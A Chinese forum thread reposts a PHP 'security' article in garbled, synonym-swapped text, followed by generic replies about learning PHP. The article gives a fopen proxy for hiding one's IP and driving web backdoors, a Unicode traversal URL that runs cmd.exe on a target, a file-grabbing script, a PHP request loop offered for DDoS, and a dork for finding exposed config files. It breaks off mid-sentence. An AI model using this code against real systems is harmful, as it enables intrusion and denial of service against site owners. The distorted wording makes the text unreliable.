仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 3967|回复: 20

[学习教程] PHP网页设计PHP在平安方面的另类使用

[复制链接]
柔情似水 该用户已被删除
发表于 2015-2-4 00:11:06 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
根据功能来进行封装等。很多的不懂,在使用搜索引擎查找,或者请教老师和在老师详细的讲解、指导下,都能顺利解决。平安    1.近程文件
  
  PHP是一门具有丰厚特征的言语,它供应了大批函数,使法式员可以便利地完成各类功效,近程文件就是一个很好的例子:
  代码
  <?php
  $fp=@Fopen($url,"r") or die ("cannot open $url");
  while($line=@fgets($fp,1024)) {
  $contents.=$line;
  }
  echo $contents; //显示文件内容
  fclose($fp); //封闭文件
  ?>
  
  以上是一段使用Fopen函数翻开文件的代码,因为Fopen函数撑持近程文件,使得它使用起来相当风趣,将以上代码保留为Proxy.php,然后后提交:
  
  代码
  /proxy.php?url=http://www.hacker.com.cn/bbs
  
  
  这时候候你会发明服装论坛下方显示的IP地址酿成了PHP剧本所处办事器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件,现实上PHP的大多半文件处置函数对近程文件都是通明的,好比恳求:
  
  代码
  /proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
  
  如许实践上是使用了Target主机上的Unicode破绽,履行了DIR号令。但并非一切的办事器都撑持近程文件的功效,假如你利用的是贸易的办事器,极可能会发明近程文件利用不了(如51的虚拟主机),这是由于在贸易主机下限制近程文件的功效,常常可以更好的回护办事器的正常运转。你可以经由过程PHPinfo()检查办事器是不是撑持这类功效。固然,在PHPinfo()被禁用的情形下,也能够利用Get_cfg_var():
  
  代码
  <?php
  echo "是不是答应利用近程文件(allow_url_Fopen)";
  ?php
  if (get_cfg_var("allow_url_Fopen")=="1")
  {
  echo("<font color=green><b>是</b></font>");
  }
  else echo("<font color=red><b>否</b></font>");
  ?>
  
  当Allow_url_Fopen一项参数为ON时,即撑持近程文件的功效。充实发扬近程文件的特征,咱们可以完成很多特别的功效:假如你是用过PHP Flame的最新版本,你会发明它在集文件夹复制、文本搜刮等功效的基本上,又增添了Web间文件传输的功效,依托这类功效,你可以随便将其他办事器上的文件传送到你的Web目次下。并且,在两台办事器间传送文件有着飞快的传输速度。咱们看看完成这个功效的代码:
  
  代码
  <?php
  $fp = Fopen($_GET['filename'], 'rb'); //翻开文件
  $data = $tmp = '';
  while ( true ) {
  $tmp = fgets($fp, 1024);
  if ( 0 === strlen($tmp) ) {
  break; //跳出while轮回
  }
  $data .= $tmp;
  }
  fclose($fp); //封闭文件
  $file=preg_replace("/^.+\//","",$filename);//转换文件名
  //write
  $fp = Fopen("$file", 'wb'); //生成文件
  fwrite($fp, $data); //写入数据
  fclose($fp);
  ?>
  
  在挪用Fopen和Fwrite函数时到场"b"标志,可使这两个函数平安应用于二进制文件而不破坏数据。在以上剧本提交:
  /down.php?filename=http://www.chinaz.com/winrar.zip
  这时候便会在Down.php的所处目次下生成响应的Winrar.zip文件。假如再共同遍历目次的功效,你将可以完成多个文件夹办事器间的传输。然而,近程文件应当还有更大的发扬空间,好比写SQL Injection进击的主动剧本,乃至是HTTP的代办署理办事:
  
  代码
  <?
  $url = getenv("QUERY_STRING");
  if(!ereg("^http",$url)) //反省输出的URL格局
  {
  echo "例子:<br>http://www.163.com/<br>";
  echo "http://www.xxxx.com/list.php?id=600<br>";
  echo "当URL为目次时需求在目次后到场"/"";
  exit;
  }
  if($url)
  $url=str_replace("\\","/",$url);
  $f=@Fopen($url,"r"); //翻开文件
  $a="";
  if($f)
  {
  while(!feof($f))
  $a.=@fread($f,8000); //读取文件
  fclose($f);
  }
  $rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url); //转换根目次
  $a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a);
  $a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a); //转换图片地址
  $a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
  $a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a); //转换POST地址
  $a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
  $a = preg_replace("/(<a.+?href[[:space:]]*=[^'\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);//转换链接地址
  $a = preg_replace("/(link.+?href[[:space:]]*=[^'\"])(.*?)/is","\\1$rooturl\\2",$a);
  $a = preg_replace("/(link.+?href[[:space:]]*=['\"])(.*?)/is","\\1$rooturl\\2",$a); //转换款式表地址
  echo $a;
  exit;
  ?>
  
  在正则表达式的匡助下,以上代码可以自行地将前往页面中包括的链接和图片停止转换,并把页面内的链接主动提交到以后PHP剧本的$url中。例如提交:
  /proxy.php?http://www.xfocus.net/
  剧本将会前往http://www.xfocus.net/的内容。
  
  固然,这应用的相对不单单是框架的技能。应用这个剧本你可以近程操作安装在其他办事器的Web后门,或将肉鸡做成一个复杂的HTTP代办署理,从而更好的埋没本人的IP。假如利用PHP编写CGI扫描东西,你需求延伸PHP的无效运转工夫。以下是两种无效的办法,固然你也能够将PHP代码编译成GUI界面,从而处理这个成绩。设置PHP的无效运转工夫为三分钟:
  
  代码
  <? ini_set("max_execution_time",60*3); ?>
  <? set_time_limit(60*3); ?>
  
  咱们再看看这类功效在DDOS进击中的使用:
  
  代码
  <?php
  set_time_limit(60*3);
  $url="http://www.xxx.com/bbs/userlist.php?userid=";
  for($i=1131;$i<=1180;$i++)
  {
  $urls=$url.$i; //将$url与$i链接在一同
  $f=@Fopen($urls,"r"); //恳求$urls
  $a=@fread($f,10); //掏出局部内容
  fclose($f); //封闭$urls
  }
  ?>
  
  以上用For轮回不休地恳求Userlist.php?userid=$i的内容($i的值每次都是分歧的),然而翻开后仅仅掏出几个字节便封闭这个剧本了。PHP运转在虚拟主机上,10秒钟即可以翻开几十个URL,当同时运转多个历程时,便有能够完成DDOS进击,让对方的服装论坛敏捷溃散。
  
  限于版面,近程文件的内容就先说到这里了,假如你还有不分明的中央,请参考以下的这篇文章:《在PHP中利用近程文件》
  
  2.毛病回显
  
  PHP在默许的情形下翻开毛病回显,如许可以便于法式员在调试剧本时发明代码的毛病,然而这也常常使Web表露了PHP的代码和办事器的一些数据。PHP对代码的标准性请求对照严厉,以下是一种对照罕见的毛病回显:
  warning:file("data/1120\'.htm)-no such file or
  directory in /usr/home/xxxxx.com/show.php on line 300
  这类毛病回显,最少告知了咱们三个信息:办事器的操作体系是LINUX;办事器利用文本数据库;Show.php的第300行代码为"file ("./data/1120/".$data.".htm")"。
  这类毛病回显,已足以成为一台办事器致命的破绽。从另外一个使用的角度来看,咱们发明普通的PHP毛病回都包括了"warning"字符,然而这有甚么用呢?咱们得先熟悉一下PHP的库文件。
  PHP的Include()和Require()次要是为了撑持代码库,由于咱们通常为把一些常常利用的函数放到一个自力的文件中,这个自力的文件就是代码库,当需求利用个中的函数时,咱们只需把这个代码库包括到以后的文件中就能够了。
  最后,人们开辟和宣布PHP法式的时分,为了区分代码库和主法式代码,通常为为代码库文件设置一个".inc"的扩大名,然而他们很快发明这是一个毛病,由于如许的文件没法被PHP注释器准确解析为PHP代码。假如咱们直接恳求办事器上的这类文件时,咱们就会失掉该文件的源代码,这是由于当把PHP作为Apache的模块利用时,PHP注释器是依据文件的扩大名来决意是不是解析为PHP代码的。扩大名是站点办理员指定的,通常为".php", ".php3"和".php4"。假如主要的设置装备摆设数据被包括在没有适合的扩大名的PHP文件中,那末近程进击者将轻易失掉这些信息。
  依照以往的法式员的习气,常常会把一些主要的文件设定"config.inc","coon.inc"等模式,假如咱们在搜刮引闹兴阉"warning+config.inc",那末你会发明很多网站都表露了".inc"文件的代码,乃至包含很多贸易和当局网站。
  
  要封闭PHP的毛病回显凡是有两个办法,第一个是直接修正Php.ini中的设置,这咱们之前已引见过了;第二种办法是在PHP剧本中到场克制毛病回显的代码,你可以在挪用的函数前函数到场"@"字符,或在PHP的代码顶端到场"error_reporting(0);"的代码,要懂得更多的内容请参考PHP手册中的"error_reporting"一节。
  
  3.变量回显
  
  WEN的平安成绩次要集中变量的处置上,对变量的处置不妥,会招致多种平安成绩。先看一下的例子:
  
  代码
  <td width="400">
  <select name="face">
  <option value="1.gif">1.gif</option>
  <option value="2.gif">2.gif
在我开始学习PHP以前,我从未想过要做软件工程,即便是在去听过华育国际的关于软件工程的美好前景后,因为我一直都没有想过要与代码打交道,而是想学好所学专业,做个网络工程师或者是网络安全人员。
金色的骷髅 该用户已被删除
发表于 2015-2-4 09:51:47 | 显示全部楼层
个人呢觉得,配wamp 最容易漏的一步就是忘了把$PHP$目录下的libmysql.dll拷贝到windows系统目录的system32目录下,还有重启apache。
飘飘悠悠 该用户已被删除
发表于 2015-2-9 21:54:18 | 显示全部楼层
开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。
透明 该用户已被删除
发表于 2015-2-17 00:55:10 | 显示全部楼层
爱上php,他也会爱上你。
小妖女 该用户已被删除
发表于 2015-2-22 20:11:11 | 显示全部楼层
对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。
活着的死人 该用户已被删除
发表于 2015-3-3 11:16:01 | 显示全部楼层
我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:
若相依 该用户已被删除
发表于 2015-3-6 17:38:37 | 显示全部楼层
学好程序语言,多些才是王道,写两个小时代码的作用绝对超过看一天书,这个我是深有体会(顺便还能练打字速度)。
老尸 该用户已被删除
发表于 2015-3-13 04:41:44 | 显示全部楼层
刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。
分手快乐 该用户已被删除
发表于 2015-3-17 06:54:34 | 显示全部楼层
使用zendstdio 写代码的的时候,把tab 的缩进设置成4个空格是很有必要的
山那边是海 该用户已被删除
发表于 2015-3-18 10:23:36 | 显示全部楼层
说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年  具体的记不清啦,囧。
莫相离 该用户已被删除
发表于 2015-3-21 20:30:30 | 显示全部楼层
php是动态网站开发的优秀语言,在学习的时候万万不能冒进。在系统的学习前,我认为不应该只是追求实现某种效果,因为即使你复制他人的代码调试成功,实现了你所期望的效果,你也不了解其中的原理。
再现理想 该用户已被删除
发表于 2015-3-27 12:09:46 | 显示全部楼层
最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。
小魔女 该用户已被删除
发表于 2015-4-1 03:11:01 | 显示全部楼层
Ps:以上纯属原创,如有雷同,纯属巧合
只想知道 该用户已被删除
发表于 2015-6-8 20:44:43 | 显示全部楼层
我还是推荐用firefox ,配上firebug 插件调试js能省下不受时间。谷歌的浏览器最好也不少用,因为谷歌的大侠们实在是太天才啦,把一些原来的js代码加了一些特效。
冷月葬花魂 该用户已被删除
发表于 2015-6-18 22:01:01 | 显示全部楼层
如果你已经到这种程度了,那么你已经可以做我的老师了。其实php也分很多的区域,
变相怪杰 该用户已被删除
发表于 2015-6-27 19:22:13 | 显示全部楼层
说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年  具体的记不清啦,囧。
简单生活 该用户已被删除
发表于 2015-6-30 14:38:47 | 显示全部楼层
有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。
发表于 2015-7-15 04:44:50 | 显示全部楼层
使用zendstdio 写代码的的时候,把tab 的缩进设置成4个空格是很有必要的
兰色精灵 该用户已被删除
发表于 2015-10-7 13:05:20 | 显示全部楼层
说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。
精灵巫婆 该用户已被删除
发表于 2015-10-7 20:10:58 | 显示全部楼层
其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-3-28 17:11

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表